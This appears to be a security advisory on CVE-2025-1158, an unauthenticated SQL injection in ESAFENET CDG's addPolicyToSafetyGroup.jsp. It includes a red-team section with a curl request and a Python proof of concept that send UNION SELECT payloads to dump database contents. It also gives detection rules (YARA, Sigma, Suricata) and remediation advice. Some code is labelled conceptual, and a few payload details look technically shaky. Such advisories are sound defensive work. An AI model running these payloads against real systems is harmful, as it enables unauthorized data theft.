CVE-2025-1158

Executive Summary

CVE-2025-1158 is a critical SQL injection vulnerability discovered in ESAFENET CDG version 5.6.3.154.205_20250114. The flaw resides in the addPolicyToSafetyGroup.jsp file, where the safetyGroupId parameter is not properly sanitized before being used in a SQL query. This allows an unauthenticated remote attacker to inject arbitrary SQL commands, potentially leading to data exfiltration, modification, or complete database compromise. The vendor was contacted but did not respond, and a public proof-of-concept (PoC) exploit has been released. No patch is currently available.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a standalone Java-based web application (ESAFENET CDG). The risk is limited to organizations that deploy this specific software.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and a public exploit exists. The lack of a vendor patch increases the risk significantly.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the addPolicyToSafetyGroup.jsp page. The application likely constructs a SQL query by concatenating the safetyGroupId parameter directly into the query string without proper validation or parameterization.

Example vulnerable code (conceptual):

String query = "INSERT INTO policy_safety_group (policy_id, safety_group_id) VALUES (?, " + request.getParameter("safetyGroupId") + ")";
Statement stmt = connection.createStatement();
stmt.execute(query);

An attacker can manipulate the safetyGroupId parameter to break out of the intended SQL context and execute arbitrary commands. For example:

safetyGroupId=1 UNION SELECT username, password FROM users--

This could allow the attacker to retrieve sensitive data, modify records, or even execute operating system commands if the database server has sufficient privileges.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

String safetyGroupId = request.getParameter("safetyGroupId");
String sql = "INSERT INTO policy_safety_group (policy_id, safety_group_id) VALUES (?, " + safetyGroupId + ")";
Statement stmt = connection.createStatement();
stmt.execute(sql);

Patched Code (Conceptual):

String safetyGroupId = request.getParameter("safetyGroupId");
String sql = "INSERT INTO policy_safety_group (policy_id, safety_group_id) VALUES (?, ?)";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, policyId);
pstmt.setString(2, safetyGroupId);
pstmt.execute();

The patched version uses a PreparedStatement with parameterized queries, which prevents SQL injection by treating user input as data, not executable code.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running ESAFENET CDG 5.6.3.154.205_20250114
• Network access to the web interface

Exploitation Steps:

1. Identify the vulnerable endpoint:

   http://target/cdg/addPolicyToSafetyGroup.jsp
   

2. Craft a malicious request:

   curl -X POST "http://target/cdg/addPolicyToSafetyGroup.jsp" \
   -d "safetyGroupId=1 UNION SELECT @@version,user()--"
   

3. Extract data: Use SQL injection techniques to enumerate tables and columns, then dump sensitive data.

Example PoC (Python):

import requests

target = "http://target/cdg/addPolicyToSafetyGroup.jsp"
payload = "1 UNION SELECT table_name, column_name FROM information_schema.columns--"
data = {"safetyGroupId": payload}
response = requests.post(target, data=data)
print(response.text)

Blue Team

Detection:

• Monitor web server logs for requests to addPolicyToSafetyGroup.jsp with unusual safetyGroupId parameters (e.g., containing SQL keywords like UNION, SELECT, OR, AND).
• Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.

Hunting:

• Search for database queries that originate from the addPolicyToSafetyGroup.jsp page and contain unexpected SQL syntax.
• Review database logs for anomalous queries or errors.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /cdg/addPolicyToSafetyGroup.jsp with safetyGroupId parameter containing SQL keywords.
  • Outbound database connections from the web server to unusual IP addresses (data exfiltration).
• Host:
  • Unexpected files in the web application directory (e.g., webshells).
  • Modified database records in the policy_safety_group table.
• Logs:
  • Web server logs showing 200 responses to SQL injection attempts.
  • Database logs showing queries with UNION, SELECT, or other SQL injection patterns.

Detection Engineering

YARA Rule

rule CVE_2025_1158_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-1158"
        author = "Valters IT"
        date = "2025-02-20"
        reference = "CVE-2025-1158"
    strings:
        $s1 = "safetyGroupId=" nocase
        $s2 = " UNION " nocase
        $s3 = " SELECT " nocase
        $s4 = " OR " nocase
        $s5 = " AND " nocase
    condition:
        $s1 and any of ($s2, $s3, $s4, $s5)
}

Sigma Rule

title: SQL Injection Attempt Against ESAFENET CDG
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts targeting CVE-2025-1158
author: Valters IT
date: 2025/02/20
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "safetyGroupId="
        cs-uri-query|contains|any:
            - " UNION "
            - " SELECT "
            - " OR "
            - " AND "
    condition: selection
falsepositives:
    - Legitimate use of these keywords in parameter values (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-1158 SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/cdg/addPolicyToSafetyGroup.jsp"; http_uri; content:"safetyGroupId="; http_client_body; pcre:"/(UNION|SELECT|OR|AND)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems: If possible, disconnect the ESAFENET CDG server from the network until a patch is applied.
2. Apply virtual patching: Use a WAF to block requests containing SQL injection patterns in the safetyGroupId parameter.
3. Monitor logs: Actively monitor web and database logs for signs of exploitation.

Long-term Fix:

• Vendor patch: Await an official patch from ESAFENET. Since the vendor has not responded, consider migrating to an alternative solution.
• Code fix: If you have access to the source code, implement parameterized queries (PreparedStatements) for all database interactions.
• Input validation: Implement strict input validation and sanitization for all user-supplied parameters.

Workaround:

• Disable the addPolicyToSafetyGroup.jsp endpoint if it is not essential for business operations.

Valters IT
Securing Digital Frontiers